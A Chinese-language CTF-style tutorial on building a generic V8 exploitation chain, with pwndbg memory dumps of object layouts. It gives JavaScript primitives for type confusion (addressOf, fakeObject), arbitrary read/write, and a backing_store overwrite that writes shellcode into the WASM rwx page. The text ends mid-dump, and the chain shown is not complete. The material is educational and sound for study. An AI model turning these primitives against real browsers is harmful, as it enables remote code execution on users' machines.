V8-通用利用链 首先需要明确的是,通过 v8 漏洞,我们需要达成什么样的目的?
一般在做 CTF 的时候,往往希望让远程执行 system(“/bin/sh”) 或者 execve(“/bin/sh”,0,0) 又或者 ORW ,除了最后一个外,往往一般是希望能够做到远程命令执行,所以一般通过 v8 漏洞也希望能够做到这一点。一般来说,我们希望能往里面写入shellcode,毕竟栈溢出之类的操作在 v8 下似乎不太可能完成。
WASM的利用 既然要写 shellcode,就需要保证内存中存在可读可写可执行的内存段了。在没有特殊需求的情况下,程序不可能特地开辟一块这样的内存段供用户使用,但在如今支持 WASM(WebAssembly) 的浏览器版本中,一般都需要开辟一块这样的内存用以执行汇编指令,回想上一节给出的测试代码:
1 2 3 4 5 6 7 8 9 %SystemBreak (); var wasmCode = new Uint8Array ([0 ,97 ,115 ,109 ,1 ,0 ,0 ,0 ,1 ,133 ,128 ,128 ,128 ,0 ,1 ,96 ,0 ,1 ,127 ,3 ,130 ,128 ,128 ,128 ,0 ,1 ,0 ,4 ,132 ,128 ,128 ,128 ,0 ,1 ,112 ,0 ,0 ,5 ,131 ,128 ,128 ,128 ,0 ,1 ,0 ,1 ,6 ,129 ,128 ,128 ,128 ,0 ,0 ,7 ,145 ,128 ,128 ,128 ,0 ,2 ,6 ,109 ,101 ,109 ,111 ,114 ,121 ,2 ,0 ,4 ,109 ,97 ,105 ,110 ,0 ,0 ,10 ,138 ,128 ,128 ,128 ,0 ,1 ,132 ,128 ,128 ,128 ,0 ,0 ,65 ,42 ,11 ]);var wasmModule = new WebAssembly .Module (wasmCode);var wasmInstance = new WebAssembly .Instance (wasmModule, {});var f = wasmInstance.exports .main ;%DebugPrint (f); %DebugPrint (wasmInstance); %SystemBreak ();
此处调用了 WebAssembly 模块为 WASM 创建专用的内存段,当我们执行到第二个断点后,通过 “vmmap” 指令可以发现内存中多了一个特殊的内存段:
1 2 pwndbg> vmmap 0x226817c0d000 0x226817c0e000 rwxp 1000 0 [anon_226817c0d]
那么现在这段内存就能够为我们所用了。如果我们向其中写入 shellcode ,日后在执行 WASM 时就会转而执行我们写入的攻击代码了
由于 v8 一般都是开启了所有保护的,为此我们需要像 CTF 题那样先泄露地址,然后再达成任意地址写
这里会有一个疑问,既然是浏览器,难道不能自己构建WASM直接拿下吗?怎么还需要自己去写 shellcode?
结论是,WASM不允许执行需要系统调用才能完成的操作。 更准确的说,WASM并不是汇编代码,而是 v8 会根据这段数据生成一段汇编然后加载到内存段中去执行,而检查该代码是否存在系统调用就发生在这一步。 如果通过构造合法的WASM使其创造内存段,然后在之后的操作里写入非法的 Shellcode,就能够完成利用了。
高版本的变化 这里有一个不得不说的问题是,在后来的版本中,不会再开辟这样的内存段了
我们可以先看看现在这个内存段中放入的数据是什么:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 pwndbg> vmmap 0x226817c0d000 0x226817c0e000 rwxp 1000 0 [anon_226817c0d] pwndbg> tel 0x226817c0d000 20 00:0000│ 0x226817c0d000 ◂— jmp 0x226817c0d480 /* 0xcccccc0000047be9 */ 01:0008│ 0x226817c0d008 ◂— int3 /* 0xcccccccccccccccc */ ... ↓ 6 skipped 08:0040│ 0x226817c0d040 ◂— jmp qword ptr [rip + 2] /* 0x90660000000225ff */ 09:0048│ 0x226817c0d048 —▸ 0x55b126522940 (Builtins_ThrowWasmTrapUnreachable) ◂— mov eax, 0x2d6 0a:0050│ 0x226817c0d050 ◂— jmp qword ptr [rip + 2] /* 0x90660000000225ff */ 0b:0058│ 0x226817c0d058 —▸ 0x55b126522980 (Builtins_ThrowWasmTrapMemOutOfBounds) ◂— mov eax, 0x2d8 0c:0060│ 0x226817c0d060 ◂— jmp qword ptr [rip + 2] /* 0x90660000000225ff */ 0d:0068│ 0x226817c0d068 —▸ 0x55b1265229c0 (Builtins_ThrowWasmTrapUnalignedAccess) ◂— mov eax, 0x2da 0e:0070│ 0x226817c0d070 ◂— jmp qword ptr [rip + 2] /* 0x90660000000225ff */ 0f:0078│ 0x226817c0d078 —▸ 0x55b126522a00 (Builtins_ThrowWasmTrapDivByZero) ◂— mov eax, 0x2dc 10:0080│ 0x226817c0d080 ◂— jmp qword ptr [rip + 2] /* 0x90660000000225ff */ 11:0088│ 0x226817c0d088 —▸ 0x55b126522a40 (Builtins_ThrowWasmTrapDivUnrepresentable) ◂— mov eax, 0x2de 12:0090│ 0x226817c0d090 ◂— jmp qword ptr [rip + 2] /* 0x90660000000225ff */ 13:0098│ 0x226817c0d098 —▸ 0x55b126522a80 (Builtins_ThrowWasmTrapRemByZero) ◂— mov eax, 0x2e0
接下来笔者换到了截至至 2022.7.5 为止的最新版,我们再次重复之前的操作,看看这次 WASM 被放到了哪里:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 pwndbg> vmmap 0x88d46808000 0x88d46809000 r-xp 1000 0 [anon_88d46808] pwndbg> tel 0x88d46808000 20 00:0000│ 0x88d46808000 ◂— jmp 0x88d46808580 01:0008│ 0x88d46808008 ◂— int3 ... ↓ 6 skipped 08:0040│ 0x88d46808040 ◂— jmp qword ptr [rip + 2] 09:0048│ 0x88d46808048 —▸ 0x7f7da298ca80 (Builtins_ThrowWasmTrapUnreachable) ◂— mov eax, 0x31e 0a:0050│ 0x88d46808050 ◂— jmp qword ptr [rip + 2] 0b:0058│ 0x88d46808058 —▸ 0x7f7da298cac0 (Builtins_ThrowWasmTrapMemOutOfBounds) ◂— mov eax, 0x320 0c:0060│ 0x88d46808060 ◂— jmp qword ptr [rip + 2] 0d:0068│ 0x88d46808068 —▸ 0x7f7da298cb00 (Builtins_ThrowWasmTrapUnalignedAccess) ◂— mov eax, 0x322 0e:0070│ 0x88d46808070 ◂— jmp qword ptr [rip + 2] 0f:0078│ 0x88d46808078 —▸ 0x7f7da298cb40 (Builtins_ThrowWasmTrapDivByZero) ◂— mov eax, 0x324 10:0080│ 0x88d46808080 ◂— jmp qword ptr [rip + 2] 11:0088│ 0x88d46808088 —▸ 0x7f7da298cb80 (Builtins_ThrowWasmTrapDivUnrepresentable) ◂— mov eax, 0x326 12:0090│ 0x88d46808090 ◂— jmp qword ptr [rip + 2] 13:0098│ 0x88d46808098 —▸ 0x7f7da298cbc0 (Builtins_ThrowWasmTrapRemByZero) ◂— mov eax, 0x328 pwndbg>
这段新增的内存段内容是完全相同的,但区别在于,高版本下的 WASM 内存段不再可写了,只有可读可执行权限,似乎不再能这样攻击了
不过最开始的学习总归是从低版本向着高版本发展,接下来的内容也将以 “9.6.180.6” 版本为准,就像最开始学习 PWN 时从 Glibc2.23 开始那样(不过我估计有的大佬会从更低的版本开始……)
数据储存方式 用下面的脚本简单看看每个对象在内存中是如何储存的:
1 2 3 4 5 6 7 8 9 10 11 %SystemBreak (); a= [2.1 ]; b={"a" :1 }; c=[b]; d=[1 ,2 ,3 ]; %DebugPrint (a); %DebugPrint (b); %DebugPrint (c); %DebugPrint (d); %SystemBreak ();
JSArray:a 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 pwndbg> hex 0x3ea308085b99-1 +0000 0x3ea308085b98 09 19 24 08 e9 06 04 08 89 5b 08 08 02 00 00 00 +0010 0x3ea308085ba8 01 4e 24 08 e9 06 04 08 e9 06 04 08 02 00 00 00 +0020 0x3ea308085bb8 c5 01 04 08 01 00 01 00 00 00 00 00 6d 11 04 08 +0030 0x3ea308085bc8 61 53 04 08 88 00 00 00 02 00 00 00 b1 04 04 08 pwndbg> job 0x3ea308085b99 0x3ea308085b99: [JSArray] - map: 0x3ea308241909 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties] - prototype: 0x3ea3082092dd <JSArray[0]> - elements: 0x3ea308085b89 <FixedDoubleArray[1]> [PACKED_DOUBLE_ELEMENTS] - length: 1 - properties: 0x3ea3080406e9 <FixedArray[0]> { #length: 0x3ea308180165 <AccessorInfo> (const accessor descriptor) } - elements: 0x3ea308085b89 <FixedDoubleArray[1]> { 0: 2.1 }
可以看出,一个 JSArray 在内存中的布局如下:
1 | 32bit map addr | 32bit properties addr | 32bit elements addr | 32bit length |
而其 elements 结构体的内存布局如下:
1 2 3 4 5 6 7 8 9 10 pwndbg> job 0x3ea308085b89 0x3ea308085b89: [FixedDoubleArray] - map: 0x3ea308040a3d <Map> - length: 1 0: 2.1 pwndbg> hex 0x3ea308085b89-1 +0000 0x3ea308085b88 3d 0a 04 08 02 00 00 00 cd cc cc cc cc cc 00 40 +0010 0x3ea308085b98 09 19 24 08 e9 06 04 08 89 5b 08 08 02 00 00 00 +0020 0x3ea308085ba8 01 4e 24 08 e9 06 04 08 e9 06 04 08 02 00 00 00 +0030 0x3ea308085bb8 c5 01 04 08 01 00 01 00 00 00 00 00 6d 11 04 08
1 | 32bit map addr | 32bit length | 64bit value |
并且我们可以注意到,elements+0x10=&a,这说明这两个结构体在内存上相邻,如果 elements 的内容溢出了,就有可能覆盖 DoubleArray 结构体中的数据
1 2 | 32bit map addr | 32bit length | 64bit value |elements | 32bit map addr | 32bit properties addr | 32bit elements addr | 32bit length |jsarray
v8 储存数据的方式有些特别,它会让这些整数都乘以二,也包括数组的长度,因此当 job 认为该地址是一个数字类型时,会将其除以二后的值当作本来的值,或者说,将原值左移一位后储存。这里的 length 也都被乘以二了
JS_OBJECT_TYPE:b 1 2 3 4 5 6 7 8 9 10 11 12 13 pwndbg> job 0x3ea308085ba9 0x3ea308085ba9: [JS_OBJECT_TYPE] - map: 0x3ea308244e01 <Map(HOLEY_ELEMENTS)> [FastProperties] - prototype: 0x3ea30820134d <Object map = 0x3ea3082401c1> - elements: 0x3ea3080406e9 <FixedArray[0]> [HOLEY_ELEMENTS] - properties: 0x3ea3080406e9 <FixedArray[0]> { #a: 1 (const data field 0) } pwndbg> hex 0x3ea308085ba9-1 +0000 0x3ea308085ba8 01 4e 24 08 e9 06 04 08 e9 06 04 08 02 00 00 00 +0010 0x3ea308085bb8 c5 01 04 08 01 00 01 00 00 00 00 00 6d 11 04 08 +0020 0x3ea308085bc8 61 53 04 08 88 00 00 00 02 00 00 00 b1 04 04 08 +0030 0x3ea308085bd8 02 00 00 00 a9 5b 08 08 59 19 24 08 e9 06 04 08
大致的内存结构如下:
1 | 32bit map addr | 32bit properties addr | 32bit elements addr | 32bit length |
但这个结构体的 elements 就没有和 JS_OBJECT_TYPE 相邻了,因此一般不存在可利用的地方
JSArray:c 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 pwndbg> job 0x3ea308085be1 0x3ea308085be1: [JSArray] - map: 0x3ea308241959 <Map(PACKED_ELEMENTS)> [FastProperties] - prototype: 0x3ea3082092dd <JSArray[0]> - elements: 0x3ea308085bd5 <FixedArray[1]> [PACKED_ELEMENTS] - length: 1 - properties: 0x3ea3080406e9 <FixedArray[0]> { #length: 0x3ea308180165 <AccessorInfo> (const accessor descriptor) } - elements: 0x3ea308085bd5 <FixedArray[1]> { 0: 0x3ea308085ba9 <Object map = 0x3ea308244e01> } pwndbg> hex 0x3ea308085be1-1 +0000 0x3ea308085be0 59 19 24 08 e9 06 04 08 d5 5b 08 08 02 00 00 00 +0010 0x3ea308085bf0 69 18 24 08 e9 06 04 08 65 00 21 08 06 00 00 00 +0020 0x3ea308085c00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +0030 0x3ea308085c10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 pwndbg> job 0x3ea308085bd5 0x3ea308085bd5: [FixedArray] - map: 0x3ea3080404b1 <Map> - length: 1 0: 0x3ea308085ba9 <Object map = 0x3ea308244e01> pwndbg> hex 0x3ea308085bd5-1 +0000 0x3ea308085bd4 b1 04 04 08 02 00 00 00 a9 5b 08 08 59 19 24 08 +0010 0x3ea308085be4 e9 06 04 08 d5 5b 08 08 02 00 00 00 69 18 24 08 +0020 0x3ea308085bf4 e9 06 04 08 65 00 21 08 06 00 00 00 00 00 00 00 +0030 0x3ea308085c04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
同为 JSArray 实体,因此内存布局与变量 a 相同,但不同的是,由于 a 中存放的是 double 类型的浮点数,其 value 占用 64bit,而变量 c 中存放的是地址,由于地址压缩的缘故,其 value 只占用 32bit,但同样与 JSArray 结构体在内存上相邻。
1 2 | 32bit map addr | 32bit length | 32bit value |elements | 32bit map addr | 32bit properties addr | 32bit elements addr | 32bit length |jsarray
JSArray:d 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 pwndbg> job 0x3ea308085bf1 0x3ea308085bf1: [JSArray] - map: 0x3ea308241869 <Map(PACKED_SMI_ELEMENTS)> [FastProperties] - prototype: 0x3ea3082092dd <JSArray[0]> - elements: 0x3ea308210065 <FixedArray[3]> [PACKED_SMI_ELEMENTS (COW)] - length: 3 - properties: 0x3ea3080406e9 <FixedArray[0]> { #length: 0x3ea308180165 <AccessorInfo> (const accessor descriptor) } - elements: 0x3ea308210065 <FixedArray[3]> { 0: 1 1: 2 2: 3 } pwndbg> hex 0x3ea308085bf1-1 +0000 0x3ea308085bf0 69 18 24 08 e9 06 04 08 65 00 21 08 06 00 00 00 +0010 0x3ea308085c00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ... ↓ skipped 1 identical lines (16 bytes) +0030 0x3ea308085c20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 pwndbg> job 0x3ea308210065 0x3ea308210065: [FixedArray] in OldSpace - map: 0x3ea3080404d9 <Map> - length: 3 0: 1 1: 2 2: 3 pwndbg> hex 0x3ea308210065-1 +0000 0x3ea308210064 d9 04 04 08 06 00 00 00 02 00 00 00 04 00 00 00 +0010 0x3ea308210074 06 00 00 00 c9 11 04 08 00 00 00 00 65 00 21 08 +0020 0x3ea308210084 89 04 04 08 00 00 00 00 b1 04 04 08 10 00 00 00 +0030 0x3ea308210094 41 00 21 08 61 53 04 08 1d 00 21 08 fd 53 04 08
整数和浮点数数组没有什么差别,但它们在内存上不再相邻了,并且需要注意的是,其储存的数据也都被乘以二了,因此后续的利用中往往需要用浮点数去溢出,而不能直接了当的用整数数据溢出
1 2 3 4 5 | 32bit map addr | 32bit length | 32bit value |elements 不相邻 | 32bit map addr | 32bit properties addr | 32bit elements addr | 32bit length |jsarray
类型识别 既然 a、c、d 三个变量都是 JSArray,肯定还需要一个结构用来区别其中储存的数据类型
我们尝试读取 a 和 d 两个数组的 map 结构体:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 pwndbg> job 0x3ea308241909 0x3ea308241909: [Map] - type: JS_ARRAY_TYPE - instance size: 16 - inobject properties: 0 - elements kind: PACKED_DOUBLE_ELEMENTS - unused property fields: 0 - enum length: invalid - back pointer: 0x3ea3082418e1 <Map(HOLEY_SMI_ELEMENTS)> - prototype_validity cell: 0x3ea308180451 <Cell value= 1> - instance descriptors #1: 0x3ea308209965 <DescriptorArray[1]> - transitions #1: 0x3ea3082099b1 <TransitionArray[4]>Transition array #1: 0x3ea308042f09 <Symbol: (elements_transition_symbol)>: (transition to HOLEY_DOUBLE_ELEMENTS) -> 0x3ea308241931 <Map(HOLEY_DOUBLE_ELEMENTS)> - prototype: 0x3ea3082092dd <JSArray[0]> - constructor: 0x3ea3082091b1 <JSFunction Array (sfi = 0x3ea30818927d)> - dependent code: 0x3ea3080401ed <Other heap object (WEAK_FIXED_ARRAY_TYPE)> - construction counter: 0 pwndbg> job 0x3ea308241869 0x3ea308241869: [Map] - type: JS_ARRAY_TYPE - instance size: 16 - inobject properties: 0 - elements kind: PACKED_SMI_ELEMENTS - unused property fields: 0 - enum length: invalid - back pointer: 0x3ea30804030d <undefined> - prototype_validity cell: 0x3ea308180451 <Cell value= 1> - instance descriptors #1: 0x3ea308209965 <DescriptorArray[1]> - transitions #1: 0x3ea308209981 <TransitionArray[4]>Transition array #1: 0x3ea308042f09 <Symbol: (elements_transition_symbol)>: (transition to HOLEY_SMI_ELEMENTS) -> 0x3ea3082418e1 <Map(HOLEY_SMI_ELEMENTS)> - prototype: 0x3ea3082092dd <JSArray[0]> - constructor: 0x3ea3082091b1 <JSFunction Array (sfi = 0x3ea30818927d)> - dependent code: 0x3ea3080401ed <Other heap object (WEAK_FIXED_ARRAY_TYPE)> - construction counter: 0
注意到 map 结构体中存在一项成员用以标注 elements 类型:
1 - elements kind: PACKED_DOUBLE_ELEMENTS
并且两个都是 JS_ARRAY_TYPE,大多数数据都是相同的,因此可以直接将一个变量的 map 地址赋给另外一个变量,使得在读取值时错误解析数据类型,也就是所谓的“类型混淆”
类型混淆是有可能造成地址泄露的,可以考虑这样的伪代码:
1 2 3 4 5 float_arr= [2.1]; obj_arr=[float_arr]; %DebugPrint(a); %DebugPrint(b); %SystemBreak();
正常访问 obj_arr[0] 会得到一个对象,但如果修改 obj_arr 的 map 为 float_arr 的 map,就会认为 obj_arr 是一个浮点数数组,那么此时访问 obj_arr[0] 就会得到对象 float_arr 的地址了
注:对于没有接触过 Java 或 JavaScript 的读者来说可能会产生困惑,为什么需要通过这种麻烦的方式来获取地址,而不能像 C/C++ 那样直接把对象地址打印出来?
简单来说,就是 JavaScript 不支持这种操作,它将一切视为对象或整数,消除了所谓“地址”的概念。 对 JavaScript 来说,例子中的 obj_arr[0] 储存的是一个 “对象” 而非 “地址” ,访问该对象的返回值必然会是一个具体的 “对象” 。(哪怕我们通过调试能够发现,它储存的就是一个地址,但在代码层面,我们没有获取该值的手段)
任意变量地址读 正如我们上一节所说,JavaScript 不允许我们直接读取某一个地址,但通过 “类型混淆” 的方法能够让 v8引擎 将一个地址误认为整数,并将其读出
addressOf 同上所述,我们讲这种类型混淆的读取地址方法称之为 “addressOf”
其一般的写法如下:
1 2 3 4 5 6 7 8 9 10 11 12 var other={"a" :1 };var obj_array=[other];var double_array=[2.1 ];var double_array_map=double_array.getMap ();function addressOf (target_var ){ obj_array[0 ]=target_var; obj_array.setMap (double_array_map); let target_var_addr=float_to_int (obj_array[0 ]); return target_var_addr; }
该函数需要根据实际情况自行修改,示例代码仅做了一些逻辑抽象
fakeObject 与 addressOf 的步骤相反,将 float_arr 的 map 改为 obj_arr 的 map,使得在访问 float_arr[0] 时得到一个以 float_arr[0] 地址为起始的对象
1 2 3 4 5 6 7 8 9 10 11 12 var other={"a" :1 };var obj_array=[other];var double_array=[2.1 ];var obj_array_map=obj_array.getMap ();function fakeObject (target_addr ){ double_array[0 ]=int_to_float (target_addr+1n ); double_array.setMap (obj_array_map); let fake_obj=double_array[0 ]; return fake_obj; }
该函数需要根据实际情况自行修改,示例代码仅做了一些逻辑抽象
任意地址读 可以尝试构造出这样一个结构:
1 var fake_array=[double_array_map,int_to_float (0x4141414141414141n )];
其在内存中的布局应为:
1 2 | 32bit elements map | 32bit length | 64bit double_array_map | 64bit 0x4141414141414141 |element | 32bit fake_array map | 32bit properties | 32bit elements | 32bit length |JSArray
接下来通过 addressOf 获取 fake_array 的地址,然后就能够计算出 double_array_map 的地址;再通过 fakeObject 将这个地址伪造成一个对象数组,对比下面的内存布局:
1 | 32bit map addr | 32bit properties addr | 32bit elements addr | 32bit length |JSArray
此处的 fake_array[0] 成为了 JSArray 的 map 和 properties ,fake_array[1] 被当作了 elements addr 和 length,通过修改 fake_array[1] 就能够使该 elements 指向任意地址,再访问 fakeObject[0] 即可读取该地址处的数据了(此处 double_array_map 需要对应为一个 double 数组的 map)
代码逻辑大致如下:
1 2 3 4 5 6 7 8 9 10 11 var fake_array=[double_array_map,int_to_float (0x4141414141414141n )];4 function read64_addr (addr ){ var fake_array_addr=addressOf (fake_array); var fake_object_addr=fake_array_addr-0x10n ; var fake_object=fakeObject (fake_object_addr); fake_array[1 ]=int_to_float (addr-8n +1n ); return fake_object[0 ]; }
任意地址写 同上一小节一样,只需要将最后的 return 修改为写入即可:
1 2 3 4 5 6 7 8 9 10 var fake_array=[double_array_map,int_to_float (0x4141414141414141n )];4 function write64_addr (addr,data ){ var fake_array_addr=addressOf (fake_array); var fake_object_addr=fake_array_addr-0x10n ; var fake_object=fakeObject (fake_object_addr); fake_array[1 ]=int_to_float (addr-8n +1n ); fake_object[0 ]=data; }
写入shellcode 参考了几篇其他师傅们所写的博客后,会发现目前所实现的任意地址写并不能正常工作,大致原因如下:
设置的 elements 地址为 addr-8n+1n,我们想要写 shellcode 的地址一般都是内存段在开头,那么更前面的内存空间则是未开辟的,写入时会因为访问未开辟的内存空间发生异常
另外一个原因是,在尝试写 d8 的 free_hook 或 malloc_hook 时,由于其地址都是以 0x7f 开头,而 Double 类型的浮点数在处理这些高地址时会将低20位置零,导致地址错误(这一点尚未确定,仅作记录)
因此直接性的写入不太能够成功,但间接性的方法或许还是存在的,如果向某个对象中写入数据不需要经过 map 和 length,或许就能够顺利完成了。
不过 JavaScript 还真的提供了这样的操作:
1 2 3 4 5 6 var data_buf = new ArrayBuffer (0x10 );var data_view = new DataView (data_buf);data_view.setFloat64 (0 , 2.0 , true ); %DebugPrint (data_buf); %DebugPrint (data_view); %SystemBreak ();
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 pwndbg> job 0x356708085ba9 0x356708085ba9: [JSArrayBuffer] - map: 0x356708241189 <Map(HOLEY_ELEMENTS)> [FastProperties] - prototype: 0x356708207929 <Object map = 0x3567082411b1> - elements: 0x3567080406e9 <FixedArray[0]> [HOLEY_ELEMENTS] - embedder fields: 2 - backing_store: 0x5652a4bbfad0 - byte_length: 16 - detachable - properties: 0x3567080406e9 <FixedArray[0]> {} - embedder fields = { 0, aligned pointer: (nil) 0, aligned pointer: (nil) } pwndbg> job 0x356708085be1 0x356708085be1: [JSDataView] - map: 0x356708240c39 <Map(HOLEY_ELEMENTS)> [FastProperties] - prototype: 0x356708205c29 <Object map = 0x356708240c61> - elements: 0x3567080406e9 <FixedArray[0]> [HOLEY_ELEMENTS] - embedder fields: 2 - buffer =0x356708085ba9 <ArrayBuffer map = 0x356708241189> - byte_offset: 0 - byte_length: 16 - properties: 0x3567080406e9 <FixedArray[0]> {} - embedder fields = { 0, aligned pointer: (nil) 0, aligned pointer: (nil) } pwndbg> hex 0x356708085ba9-1 +0000 0x356708085ba8 89 11 24 08 e9 06 04 08 e9 06 04 08 10 00 00 00 +0010 0x356708085bb8 00 00 00 00 d0 fa bb a4 52 56 00 00 f0 fa bb a4 +0020 0x356708085bc8 52 56 00 00 02 00 00 00 00 00 00 00 00 00 00 00 +0030 0x356708085bd8 00 00 00 00 00 00 00 00 39 0c 24 08 e9 06 04 08 pwndbg> +0040 0x356708085be8 e9 06 04 08 a9 5b 08 08 00 00 00 00 00 00 00 00 +0050 0x356708085bf8 10 00 00 00 00 00 00 00 d0 fa bb a4 52 56 00 00 +0060 0x356708085c08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +0070 0x356708085c18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 pwndbg> hex 0x5652a4bbfad0 +0000 0x5652a4bbfad0 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 +0010 0x5652a4bbfae0 00 00 00 00 00 00 00 00 31 00 00 00 00 00 00 00 +0020 0x5652a4bbfaf0 00 00 06 4c 2e 7f 00 00 60 bd c5 a4 52 56 00 00 +0030 0x5652a4bbfb00 60 03 bc a4 52 56 00 00 00 00 00 00 00 00 00 00 pwndbg> tel 0x5652a4bbfad0 00:0000│ 0x5652a4bbfad0 ◂— 0x4000000000000000 01:0008│ 0x5652a4bbfad8 ◂— 0 02:0010│ 0x5652a4bbfae0 ◂— 0 03:0018│ 0x5652a4bbfae8 ◂— 0x31 /* '1' */
可以注意到,JSDataView 的 buffer 指向了 JSArrayBuffer,而 JSArrayBuffer 的 backing_store 则指向了实际的数据储存地址,那么如果我们能够写 backing_store 为 shellcode 内存段,就可以通过 JSDataView 的 setFloat64 方法直接写入了
而该成员在 data_buf+0x1C 处
每个成员的地址偏移都会因为版本而迁移,这一点还请读者以自己手上的版本为准
1 2 3 4 5 6 7 8 9 function shellcode_write (addr,shellcode ){ var data_buf = new ArrayBuffer (shellcode.lenght *8 ); var data_view = new DataView (data_buf); var buf_backing_store_addr=addressOf (data_buf)+0x18n ; write64_addr (buf_backing_store_addr,addr); for (let i=0 ;i<shellcode.length ;++i) data_view.setFloat64 (i*8 ,int_to_float (shellcode[i]),true ); }
该函数需要根据实际情况自行修改,示例代码仅做了一些逻辑抽象 并且由于数据压缩的原因,获取 buf_backing_store_addr 的操作有可能不只是一次 addressOf 即可完成的,需要将低位和高位分别读出然后合并为 64 位地址后再写入,这里只做逻辑抽象,具体实践在以后的章节中另外补充
根据上述的思路,我们可以写出copy_shellcode_to_rwx
函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 function copy_shellcode_to_rwx (shellcode, rwx_addr ){ var data_buf = new ArrayBuffer (shellcode.length * 8 ); var data_view = new DataView (data_buf); var buf_backing_store_addr_lo = addressOf (data_buf) + 0x18n ; var buf_backing_store_addr_up = buf_backing_store_addr_lo + 0x8n ; var lov = d2u (read64 (buf_backing_store_addr_lo))[0 ]; var rwx_page_addr_lo = u2d (lov, d2u (rwx_addr)[0 ]); var hiv = d2u (read64 (buf_backing_store_addr_up))[1 ]; var rwx_page_addr_hi = u2d (d2u (rwx_addr, hiv)[1 ]); var buf_backing_store_addr = ftoi (u2d (lov, hiv)); console .log ("buf_backing_store_addr: 0x" +hex (buf_backing_store_addr)); write64 (buf_backing_store_addr_lo, ftoi (rwx_page_addr_lo)); write64 (buf_backing_store_addr_up, ftoi (rwx_page_addr_hi)); for (let i = 0 ; i < shellcode.length ; ++i) data_view.setFloat64 (i * 8 , itof (shellcode[i]), true ); }
然后是获取写入内存段的地址了,回到开始的这个脚本:
1 2 3 4 5 6 7 8 var wasmCode = new Uint8Array ([0 ,97 ,115 ,109 ,1 ,0 ,0 ,0 ,1 ,133 ,128 ,128 ,128 ,0 ,1 ,96 ,0 ,1 ,127 ,3 ,130 ,128 ,128 ,128 ,0 ,1 ,0 ,4 ,132 ,128 ,128 ,128 ,0 ,1 ,112 ,0 ,0 ,5 ,131 ,128 ,128 ,128 ,0 ,1 ,0 ,1 ,6 ,129 ,128 ,128 ,128 ,0 ,0 ,7 ,145 ,128 ,128 ,128 ,0 ,2 ,6 ,109 ,101 ,109 ,111 ,114 ,121 ,2 ,0 ,4 ,109 ,97 ,105 ,110 ,0 ,0 ,10 ,138 ,128 ,128 ,128 ,0 ,1 ,132 ,128 ,128 ,128 ,0 ,0 ,65 ,42 ,11 ]);var wasmModule = new WebAssembly .Module (wasmCode);var wasmInstance = new WebAssembly .Instance (wasmModule, {});var f = wasmInstance.exports .main ;%DebugPrint (f); %DebugPrint (wasmInstance); %SystemBreak ();
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 pwndbg> job 0x1ef0821046d 0x1ef0821046d: [WasmInstanceObject] in OldSpace - map: 0x01ef082448d9 <Map(HOLEY_ELEMENTS)> [FastProperties] - prototype: 0x01ef080846d1 <Object map = 0x1ef08244e51> - elements: 0x01ef080406e9 <FixedArray[0]> [HOLEY_ELEMENTS] - module_object: 0x01ef08085e79 <Module map = 0x1ef08244771> - exports_object: 0x01ef08085ff1 <Object map = 0x1ef08244ef1> - native_context: 0x01ef08200f51 <NativeContext[239]> - memory_object: 0x01ef08210455 <Memory map = 0x1ef08244b81> - table 0: 0x01ef08085fc5 <Table map = 0x1ef082449f1> - imported_function_refs: 0x01ef080406e9 <FixedArray[0]> - indirect_function_table_refs: 0x01ef080406e9 <FixedArray[0]> - managed_native_allocations: 0x01ef08085f7d <Foreign> - memory_start: 0x7fe558000000 - memory_size: 65536 - memory_mask: ffff - imported_function_targets: 0x55b039645530 - globals_start: (nil) - imported_mutable_globals: 0x55b039645550 - indirect_function_table_size: 0 - indirect_function_table_sig_ids: (nil) - indirect_function_table_targets: (nil) - properties: 0x01ef080406e9 <FixedArray[0]> {} pwndbg> tel 0x1ef0821046d-1 00:0000│ 0x1ef0821046c ◂— 0x80406e9082448d9 01:0008│ 0x1ef08210474 ◂— 0x58000000080406e9 02:0010│ 0x1ef0821047c ◂— 0x1000000007fe5 03:0018│ 0x1ef08210484 ◂— 0xffff00000000 04:0020│ 0x1ef0821048c ◂— 0x6000000000 05:0028│ 0x1ef08210494 ◂— 0x80406e9000001ef 06:0030│ 0x1ef0821049c —▸ 0x55b039645530 —▸ 0x7fe75f96fbe0 (main_arena+96) —▸ 0x55b0396d11d0 ◂— 0 07:0038│ 0x1ef082104a4 ◂— 0x80406e9 pwndbg> 08:0040│ 0x1ef082104ac ◂— 0 ... ↓ 2 skipped 0b:0058│ 0x1ef082104c4 —▸ 0x55b039645550 —▸ 0x7fe75f96fbe0 (main_arena+96) —▸ 0x55b0396d11d0 ◂— 0 0c:0060│ 0x1ef082104cc —▸ 0x1ef00000000 —▸ 0x7ffc9ba6d218 ◂— 0x1ef00000000 0d:0068│ 0x1ef082104d4 —▸ 0xed201826000 ◂— jmp 0xed201826380 /* 0xcccccc0000037be9 */ 0e:0070│ 0x1ef082104dc ◂— 0x8085ff108085e79 0f:0078│ 0x1ef082104e4 ◂— 0x821045508200f51 pwndbg> 10:0080│ 0x1ef082104ec ◂— 0x804030d0804030d 11:0088│ 0x1ef082104f4 ◂— 0x804030d0804030d 12:0090│ 0x1ef082104fc ◂— 0x8085fe508085fb9 